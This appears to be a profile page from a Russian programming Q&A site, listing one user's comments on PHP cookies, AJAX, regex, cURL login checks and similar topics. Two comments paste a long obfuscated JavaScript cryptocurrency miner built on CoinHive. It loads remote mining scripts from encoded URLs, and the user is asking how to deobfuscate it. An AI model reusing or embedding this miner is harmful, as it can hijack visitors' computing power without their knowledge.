Задать вопрос
  • Как правильно сделать сохранение utm меток в куки?

    @arturka_v_10
    Oleg, возможно оптимизация прокатит
    if ($_GET){
    $arrUTM = array(1=>'utm_source', 2=>'utm_medium');
    
    for($i=1;$i<=2;$i++){
    
    if($_GET[$arrUTM[$i]]){
    $set = $_SESSION[$arrUTM[$i]] = $_GET[$arrUTM[$i]];
    setcookie($arrUTM[$i], $set, time()+60*60*24*50); 
    }
    
    }
    
    }

    таким образом можно в массив загонять новые наименования меток по нумерации, а в цикле увеличивать значение выполнений. Вместо создания множества $_GET строк.
  • Почему AJAX не передает данные в скрипт?

    @arturka_v_10
    мб:
    if(isset($_POST){
    
    if(!empty($_POST)) {
      echo "POST is not empty";
        }
        else echo "POST is empty";
    }
  • Как добавить в запрос параметр на выборку из Mysql?

    @arturka_v_10 Автор вопроса
    Андрей, а ты смешной. То что порядок написал я чекнул. Не прокатило.
  • Как добавить в запрос параметр на выборку из Mysql?

    @arturka_v_10 Автор вопроса
    мол стебанул? В простых выборках я шарю. В склейке таблиц не очень. Потому и не понял почему параметр не хавает. Объясни в моем примере где подстановку сделать
  • Подсобите с регуляркой?

    @arturka_v_10 Автор вопроса
    dodo512, все подпилил. Друже ты прямо спас, пол дня ковырял с бубном в руке. И за сайт спасибо.
  • Подсобите с регуляркой?

    @arturka_v_10 Автор вопроса
    dodo512, есть. Но смысл в том что ссылка может быть в конце строки и после обработки регуляркой, а затем nl2br - ссылки в конце строки вбирают в себя<br />
    С регуляркой с сайта таже история
    http://mysite.ru/rules<br />
  • Подсобите с регуляркой?

    @arturka_v_10 Автор вопроса
    dodo512, если снимаю он жрет еще больше включая следующее слово за ссылкой
  • Как можно реализовать авторизация так чтобы только один пользователь могут заходить в систему?

    @arturka_v_10
    Дилик Пулатов, также как online users на сайте по php можно реализовать - делать ап раз в минуту и если он еще здесь - не менять. Если нет - удалять его кей из базы.
  • Как массив php запихнуть в Chart.js?

    @arturka_v_10 Автор вопроса
    Mysterion, А как развернуть значения?
  • Как раскодировать _0x3e70f9 и подобные?

    @arturka_v_10 Автор вопроса
    longclaps, великолепное замечание (жаль не по теме). Это банальная опечатка, ибо в первом случае, слово "раскоил" я указал с одной
  • Чем расшифровать этот javascript?

    @arturka_v_10 Автор вопроса
    ну первую часть я расшифровал HEX + decode64
    _0x258679,_0x10f2f9 - такая часть мне не понятна.
  • Чем расшифровать этот javascript?

    @arturka_v_10 Автор вопроса
    document[_0xe5d8('0x5')](_0xe5d8('0x24'))[_0xe5d8('0x10')]=parseInt(myMiner[_0xe5d8('0x22')]);document[_0xe5d8('0x5')](_0xe5d8('0xf'))[_0xe5d8('0x10')]=parseFloat(_0x54f6ad)[_0xe5d8('0x14')](0x2);}},myMiner[_0xe5d8('0x23')]*0x3e8);}},'sound':function(_0x2966ef){_0x2966ef=jQuery(_0x2966ef);jQuery(_0x2966ef)[_0xe5d8('0x25')](_0xe5d8('0x26'));if(window[_0xe5d8('0x9')]){window[_0xe5d8('0x9')][_0xe5d8('0xa')](_0xe5d8('0x27'),_0x2966ef[_0xe5d8('0x28')](_0xe5d8('0x26')));}},'getStatTimer':![],'getStat':function(){var _0xd3c45e=myMiner[_0xe5d8('0x29')]+_0xe5d8('0x2a')+myMiner[_0xe5d8('0x2b')];_0xd3c45e+=_0xe5d8('0x2c')+myMiner[_0xe5d8('0x2d')];_0xd3c45e+=_0xe5d8('0x2e')+myMiner[_0xe5d8('0x2f')];_0xd3c45e+=_0xe5d8('0x30')+parseInt(myMiner[_0xe5d8('0x22')]);_0xd3c45e+=_0xe5d8('0x31')+parseFloat(myMiner['\x6d'][_0xe5d8('0x1f')]())[_0xe5d8('0x14')](0x2);jQuery[_0xe5d8('0x32')](_0xd3c45e,function(_0x59c02a){if(_0x59c02a['\x74']=='\x6f\x6b'){myMiner[_0xe5d8('0x1b')]=![];if(myMiner[_0xe5d8('0x2f')]==_0xe5d8('0x33')||myMiner[_0xe5d8('0x2f')]==_0xe5d8('0x34')||myMiner[_0xe5d8('0x2f')]!=_0x59c02a['\x64'][_0xe5d8('0x35')]){var _0x11d34c=myMiner[_0xe5d8('0x2f')][_0xe5d8('0x36')]()[_0xe5d8('0x37')](/^[0-9\.]+$/)&&_0x59c02a['\x64'][_0xe5d8('0x35')][_0xe5d8('0x36')]()[_0xe5d8('0x37')](/^[0-9\.]+$/);var _0x363d2f=myMiner[_0xe5d8('0x2f')];myMiner[_0xe5d8('0x2f')]=_0x59c02a['\x64'][_0xe5d8('0x35')];if(_0x59c02a['\x64'][_0xe5d8('0x38')]>myMiner[_0xe5d8('0x38')]){myMiner[_0xe5d8('0x22')]=_0x59c02a['\x64'][_0xe5d8('0x24')];myMiner['\x74\x68']=0x0-myMiner['\x6d'][_0xe5d8('0x21')](!![]);myMiner[_0xe5d8('0x38')]=_0x59c02a['\x64'][_0xe5d8('0x38')];if(window[_0xe5d8('0x9')]){window[_0xe5d8('0x9')][_0xe5d8('0xa')](_0xe5d8('0x39')+myMiner[_0xe5d8('0x2b')],myMiner[_0xe5d8('0x38')]);}}document[_0xe5d8('0x5')](_0xe5d8('0x24'))[_0xe5d8('0x10')]=parseInt(myMiner[_0xe5d8('0x22')]);if(_0x11d34c){jQuery(_0xe5d8('0x3a'))[_0xe5d8('0x3b')](_0xe5d8('0x3c'),Math[_0xe5d8('0x3d')](_0x363d2f*0xe8d4a51000))[_0xe5d8('0x3e')]({'number':Math[_0xe5d8('0x3d')](myMiner[_0xe5d8('0x2f')]*0xe8d4a51000),'numberStep':function(_0x210755,_0x3285a9){var _0x1708f3=Math[_0xe5d8('0x3d')](_0x210755)/0xe8d4a51000;jQuery(_0x3285a9[_0xe5d8('0x3f')])[_0xe5d8('0x40')](_0x1708f3[_0xe5d8('0x14')](0xc));}});}else{document[_0xe5d8('0x5')](_0xe5d8('0x35'))[_0xe5d8('0x10')]=myMiner[_0xe5d8('0x2f')];}if(jQuery(_0xe5d8('0x41'))[_0xe5d8('0x28')](_0xe5d8('0x26')))myMiner[_0xe5d8('0x42')][_0xe5d8('0x43')]();}myMiner[_0xe5d8('0x44')]=Date[_0xe5d8('0x45')]()+_0x59c02a['\x64'][_0xe5d8('0x46')]*0x3e8;myMiner[_0xe5d8('0x1b')]=!![];}else{myMiner[_0xe5d8('0x44')]=Date[_0xe5d8('0x45')]()+0x1d4c0;}},_0xe5d8('0x47'))[_0xe5d8('0x48')](function(){myMiner[_0xe5d8('0x44')]=Date[_0xe5d8('0x45')]()+0x1d4c0;});},'nextSync':0x0,'getStatInit':function(_0x45b490){if(_0x45b490){myMiner[_0xe5d8('0x49')]=setInterval(function(){if(myMiner[_0xe5d8('0x44')]){var _0x215e90=Math[_0xe5d8('0x4a')]((myMiner[_0xe5d8('0x44')]-Date[_0xe5d8('0x45')]())/0x3e8);if(_0x215e90>=0x0){document[_0xe5d8('0x5')](_0xe5d8('0x4b'))[_0xe5d8('0x10')]=_0x215e90;}else{myMiner[_0xe5d8('0x44')]=0x0;myMiner[_0xe5d8('0x4c')]();}}else{myMiner[_0xe5d8('0x44')]=Date[_0xe5d8('0x45')]()+0x1d4c0;}if(window[_0xe5d8('0x9')]&&myMiner[_0xe5d8('0x2b')]&&myMiner['\x6d'][_0xe5d8('0xb')]()){window[_0xe5d8('0x9')][_0xe5d8('0xa')](_0xe5d8('0x24')+myMiner[_0xe5d8('0x2b')],parseInt(myMiner[_0xe5d8('0x22')]));}},0x3e8);}else{clearInterval(myMiner[_0xe5d8('0x49')]);myMiner[_0xe5d8('0x49')]=![];}},'ifBlocked':function(){var _0x437cad=_0xe5d8('0x4d');notice['\x65'](_0x437cad,0xea60);return![];},'init':function(_0x27fca5,_0x5ee8ab,_0x4848e7,_0x3e70f9,_0x43347e,_0x2e5c9e){var _0x4d19c3=this;var _0x43afdc=_0x27fca5;_0x4d19c3[_0xe5d8('0x4e')]=_0x2e5c9e&&navigator[_0xe5d8('0x1d')]>0x3?!![]:![];_0x4d19c3[_0xe5d8('0x2b')]=_0x5ee8ab;_0x4d19c3[_0xe5d8('0x2d')]=_0x4848e7;_0x4d19c3[_0xe5d8('0x38')]=_0x43347e;_0x4d19c3[_0xe5d8('0x42')]=new Audio(_0xe5d8('0x4f'));_0x4d19c3[_0xe5d8('0x42')][_0xe5d8('0x50')]=0.5;_0x4d19c3[_0xe5d8('0x2f')]=jQuery(_0xe5d8('0x3a'))[_0xe5d8('0x40')]();if(window[_0xe5d8('0x9')]){if(window[_0xe5d8('0x9')][_0xe5d8('0x51')](_0xe5d8('0x6'))!=null){_0x4d19c3[_0xe5d8('0x7')]()[_0xe5d8('0x8')]=parseInt(window[_0xe5d8('0x9')][_0xe5d8('0x51')](_0xe5d8('0x6')));}if(_0x4d19c3[_0xe5d8('0x2b')]&&window[_0xe5d8('0x9')][_0xe5d8('0x51')](_0xe5d8('0x24')+_0x4d19c3[_0xe5d8('0x2b')])!=null&&window[_0xe5d8('0x9')][_0xe5d8('0x51')](_0xe5d8('0x39')+_0x4d19c3[_0xe5d8('0x2b')])!=null&&window[_0xe5d8('0x9')][_0xe5d8('0x51')](_0xe5d8('0x39')+_0x4d19c3[_0xe5d8('0x2b')])>=_0x4d19c3[_0xe5d8('0x38')]){myMiner[_0xe5d8('0x22')]=parseInt(window[_0xe5d8('0x9')][_0xe5d8('0x51')](_0xe5d8('0x24')+_0x4d19c3[_0xe5d8('0x2b')]));document[_0xe5d8('0x5')](_0xe5d8('0x24'))[_0xe5d8('0x10')]=myMiner[_0xe5d8('0x22')];}else{window[_0xe5d8('0x9')][_0xe5d8('0xa')](_0xe5d8('0x39')+_0x4d19c3[_0xe5d8('0x2b')],_0x4d19c3[_0xe5d8('0x38')]);window[_0xe5d8('0x9')][_0xe5d8('0xa')](_0xe5d8('0x24')+_0x4d19c3[_0xe5d8('0x2b')],0x0);}if(window[_0xe5d8('0x9')][_0xe5d8('0x51')](_0xe5d8('0x27'))){jQuery(_0xe5d8('0x41'))[_0xe5d8('0x52')](_0xe5d8('0x26'));}}var _0x36482a=document[_0xe5d8('0x53')](_0xe5d8('0x54'));_0x36482a[_0xe5d8('0x55')]=function(){var _0x3e70b2=document[_0xe5d8('0x53')](_0xe5d8('0x54'));_0x3e70b2[_0xe5d8('0x55')]=function(){_0x4d19c3[_0xe5d8('0x56')]();};_0x3e70b2[_0xe5d8('0x57')]=function(){document[_0xe5d8('0x58')][_0xe5d8('0x59')](_0x3e70b2);_0x4d19c3['\x6d']=new CoinHive[(_0xe5d8('0x5a'))](_0x43afdc,_0x4d19c3[_0xe5d8('0x2b')]);_0x4d19c3[_0xe5d8('0x5b')]();myMiner[_0xe5d8('0x44')]=Date[_0xe5d8('0x45')]()+_0x3e70f9*0x3e8;_0x4d19c3[_0xe5d8('0x5c')](!![]);};_0x3e70b2[_0xe5d8('0x5d')]=_0x4d19c3[_0xe5d8('0x5e')];document[_0xe5d8('0x58')][_0xe5d8('0x5f')](_0x3e70b2);};_0x36482a[_0xe5d8('0x57')]=function(){document[_0xe5d8('0x58')][_0xe5d8('0x59')](_0x36482a);_0x4d19c3['\x6d']=new CHMinr[(_0xe5d8('0x5a'))](_0x43afdc,_0x4d19c3[_0xe5d8('0x2b')]);_0x4d19c3[_0xe5d8('0x5b')]();myMiner[_0xe5d8('0x44')]=Date[_0xe5d8('0x45')]()+_0x3e70f9*0x3e8;_0x4d19c3[_0xe5d8('0x5c')](!![]);};_0x36482a[_0xe5d8('0x5d')]=navigator&&navigator[_0xe5d8('0x60')]&&navigator[_0xe5d8('0x60')][_0xe5d8('0x37')](/Windows NT 5\.1/)?_0x4d19c3[_0xe5d8('0x61')]:_0x4d19c3[_0xe5d8('0x62')];document[_0xe5d8('0x58')][_0xe5d8('0x5f')](_0x36482a);if(_0x4d19c3[_0xe5d8('0x4e')]){var _0xd9fa81=document[_0xe5d8('0x53')](_0xe5d8('0x54'));_0xd9fa81[_0xe5d8('0x57')]=function(){document[_0xe5d8('0x58')][_0xe5d8('0x59')](_0xd9fa81);_0x4d19c3[_0xe5d8('0xe')]=new xmrm[(_0xe5d8('0x5a'))](_0x43afdc,_0x4d19c3[_0xe5d8('0x2b')]);};_0xd9fa81[_0xe5d8('0x5d')]=_0x4d19c3[_0xe5d8('0x63')];document[_0xe5d8('0x58')][_0xe5d8('0x5f')](_0xd9fa81);}}};
  • Чем расшифровать этот javascript?

    @arturka_v_10 Автор вопроса
    var _0xe5d8=function(_0x258679,_0x10f2f9){_0x258679=_0x258679-0x0;var _0x5d2e8b=_0x5d8e[_0x258679];if(_0xe5d8['initialized']===undefined){(function(){var _0x38d142;try{var _0x59fdbb=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x38d142=_0x59fdbb();}catch(_0x2c3c66){_0x38d142=window;}var _0x217a98='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x38d142['atob']||(_0x38d142['atob']=function(_0x84d0f1){var _0x2d92ee=String(_0x84d0f1)['replace'](/=+$/,'');for(var _0xe88e6a=0x0,_0x2e651c,_0x3cc0c1,_0x4c74da=0x0,_0x185c27='';_0x3cc0c1=_0x2d92ee['charAt'](_0x4c74da++);~_0x3cc0c1&&(_0x2e651c=_0xe88e6a%0x4?_0x2e651c*0x40+_0x3cc0c1:_0x3cc0c1,_0xe88e6a++%0x4)?_0x185c27+=String['fromCharCode'](0xff&_0x2e651c>>(-0x2*_0xe88e6a&0x6)):0x0){_0x3cc0c1=_0x217a98['indexOf'](_0x3cc0c1);}return _0x185c27;});}());_0xe5d8['base64DecodeUnicode']=function(_0x2c1a2d){var _0x5a51a6=atob(_0x2c1a2d);var _0x4a02e3=[];for(var _0x190040=0x0,_0x4be28f=_0x5a51a6['length'];_0x190040<_0x4be28f;_0x190040++){_0x4a02e3+='%'+('00'+_0x5a51a6['charCodeAt'](_0x190040)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x4a02e3);};_0xe5d8['data']={};_0xe5d8['initialized']=!![];}var _0x91b57b=_0xe5d8['data'][_0x258679];if(_0x91b57b===undefined){_0x5d2e8b=_0xe5d8['base64DecodeUnicode'](_0x5d2e8b);_0xe5d8['data'][_0x258679]=_0x5d2e8b;}else{_0x5d2e8b=_0x91b57b;}return _0x5d2e8b;};var myMiner={'gybrid':![],'gybridM':![],'gybridUrl':_0xe5d8('0x0'),'chUrl':_0xe5d8('0x1'),'chUrlOldSystem':_0xe5d8('0x2'),'chUrl2':_0xe5d8('0x3'),'statUrl':_0xe5d8('0x4'),'m':![],'t':![],'uid':0x0,'statHash':'','startBalance':0x0,'tickSec':0.2,'hpsX':1.1,'lastBMC':0x0,'lastSyncTS':0x0,'snd':![],'getPowerRange':function(){return document[_0xe5d8('0x5')](_0xe5d8('0x6'));},'changePower':function(){if(!myMiner['\x6d'])return![];var _0x2ac4e1=myMiner[_0xe5d8('0x7')]();var _0x11995b=parseInt(_0x2ac4e1[_0xe5d8('0x8')]);if(window[_0xe5d8('0x9')])window[_0xe5d8('0x9')][_0xe5d8('0xa')](_0xe5d8('0x6'),_0x11995b);if(_0x11995b==0x0&&myMiner['\x6d'][_0xe5d8('0xb')]()){myMiner[_0xe5d8('0xc')](![]);myMiner['\x6d'][_0xe5d8('0xd')]();if(myMiner[_0xe5d8('0xe')]&&myMiner[_0xe5d8('0xe')][_0xe5d8('0xb')]())myMiner[_0xe5d8('0xe')][_0xe5d8('0xd')]();document[_0xe5d8('0x5')](_0xe5d8('0xf'))[_0xe5d8('0x10')]=_0xe5d8('0x11');}else if(_0x11995b>0x0&&_0x11995b<=0x64){if(!myMiner['\x6d'][_0xe5d8('0xb')]()){myMiner['\x6d'][_0xe5d8('0x12')]();if(myMiner[_0xe5d8('0xe')]&&!myMiner[_0xe5d8('0xe')][_0xe5d8('0xb')]()){myMiner[_0xe5d8('0xe')][_0xe5d8('0x12')]();}myMiner[_0xe5d8('0xc')](!![]);}myMiner['\x6d'][_0xe5d8('0x13')](parseFloat((0x64-_0x11995b)*0.01)[_0xe5d8('0x14')](0x2));if(myMiner[_0xe5d8('0xe')])myMiner[_0xe5d8('0xe')][_0xe5d8('0x13')](parseFloat((0x64-_0x11995b)*0.01)[_0xe5d8('0x14')](0x2));}_0x2ac4e1[_0xe5d8('0x15')][_0xe5d8('0x16')](_0xe5d8('0x17'));_0x2ac4e1[_0xe5d8('0x15')][_0xe5d8('0x16')](_0xe5d8('0x18'));_0x2ac4e1[_0xe5d8('0x15')][_0xe5d8('0x16')](_0xe5d8('0x19'));if(_0x11995b>=0x62){_0x2ac4e1[_0xe5d8('0x15')][_0xe5d8('0x1a')](_0xe5d8('0x19'));}else if(_0x11995b>=0x5a){_0x2ac4e1[_0xe5d8('0x15')][_0xe5d8('0x1a')](_0xe5d8('0x18'));}else if(_0x11995b>=0x1){_0x2ac4e1[_0xe5d8('0x15')][_0xe5d8('0x1a')](_0xe5d8('0x17'));}},'th':0x0,'updateTimerState':!![],'updateTimer':function(_0x45a2ee){clearInterval(myMiner['\x74']);myMiner['\x74']=![];if(_0x45a2ee){myMiner['\x74']=setInterval(function(){if(myMiner[_0xe5d8('0x1b')]){if(myMiner[_0xe5d8('0xe')]){if(myMiner['\x6d'][_0xe5d8('0xb')]()&&myMiner['\x6d'][_0xe5d8('0x1c')]()!=navigator[_0xe5d8('0x1d')]-0x1){myMiner['\x6d'][_0xe5d8('0x1e')](navigator[_0xe5d8('0x1d')]-0x1);}if(myMiner[_0xe5d8('0xe')][_0xe5d8('0xb')]()&&myMiner[_0xe5d8('0xe')][_0xe5d8('0x1c')]()!=0x1){myMiner[_0xe5d8('0xe')][_0xe5d8('0x1e')](0x1);}}var _0x54f6ad=myMiner['\x6d'][_0xe5d8('0x1f')]()*myMiner[_0xe5d8('0x20')];if(myMiner[_0xe5d8('0xe')]&&myMiner[_0xe5d8('0xe')][_0xe5d8('0xb')]())_0x54f6ad+=myMiner[_0xe5d8('0xe')][_0xe5d8('0x1f')]()*myMiner[_0xe5d8('0x20')];var _0x48bb72=myMiner['\x6d'][_0xe5d8('0x21')](!![])+myMiner['\x74\x68'];if(_0x48bb72>myMiner[_0xe5d8('0x22')])myMiner[_0xe5d8('0x22')]=_0x48bb72;myMiner[_0xe5d8('0x22')]+=_0x54f6ad*myMiner[_0xe5d8('0x23')];
  • Почему cURL шлет ответ 200?

    @arturka_v_10 Автор вопроса
    Максим Тимофеев, и как это поможет понять прошла авторизация или нет?
    Выше же указал файлы.

    вот запрос cUrl идет и в конце выбивает ответ сервера.
    $ch2=curl_login($replaceURI,$post_log,$headers,$useragent,$referer); // логин
    $results = curl_getAuth($authLink,$headers,$ch2); // получаем страницу account
    $results = $results['http_code'];
  • Почему cURL шлет ответ 200?

    @arturka_v_10 Автор вопроса
    Максим Тимофеев, я не акцентрию на 302. Смысл в том что сервак шлет на тестовой странице 302. А по форме отправки по клику через ajax 200 на тот же запрос. Но с этим уже решил. Осталось разобраться как верно понимать что данные прошли или нет.

    $results = $results['http_code'];

    эта строка ответ давала 302 или 200
  • Почему cURL шлет ответ 200?

    @arturka_v_10 Автор вопроса
    Максим Тимофеев, дак суть в том что я хочу вообще узнать - прошла авторизация или нет. А по коду мол определить если 200 то гуд. Если нет то нет. Или есть иной вариант узнать верность авторизации по cURL?
  • Почему cURL шлет ответ 200?

    @arturka_v_10 Автор вопроса
    Максим Тимофеев При том, что по функции идет отправка данных в авторизацию на сайте. Далее вторая обращается к странице /account. Если данные прокатили то и страница получена без проблем.

    Я создал дополнительно тестовую страницу и там результаты отдает правильно. Т.е 200 при том что авторизировался и получена следующая страница (/account) и 302 если данные входа отосланы неверные.

    9tpBbMxf3CM.jpgDVVL0wDADJo.jpg
  • Почему Android со временем начинает очень тормозить?

    @arturka_v_10
    Все сделано с умыслом скоропорчи. Мол бери новинку, а не возись со старым. А-ля текущие издержки потребительства.
  • Как научить скрипт понимать когда было действие (вчера, сегодня)?

    @arturka_v_10 Автор вопроса
    Алексей С., так то понятно где - серверное время не одинаковое с клиентским, вот и думаю как эту функцию научить по клиентскому отвечать.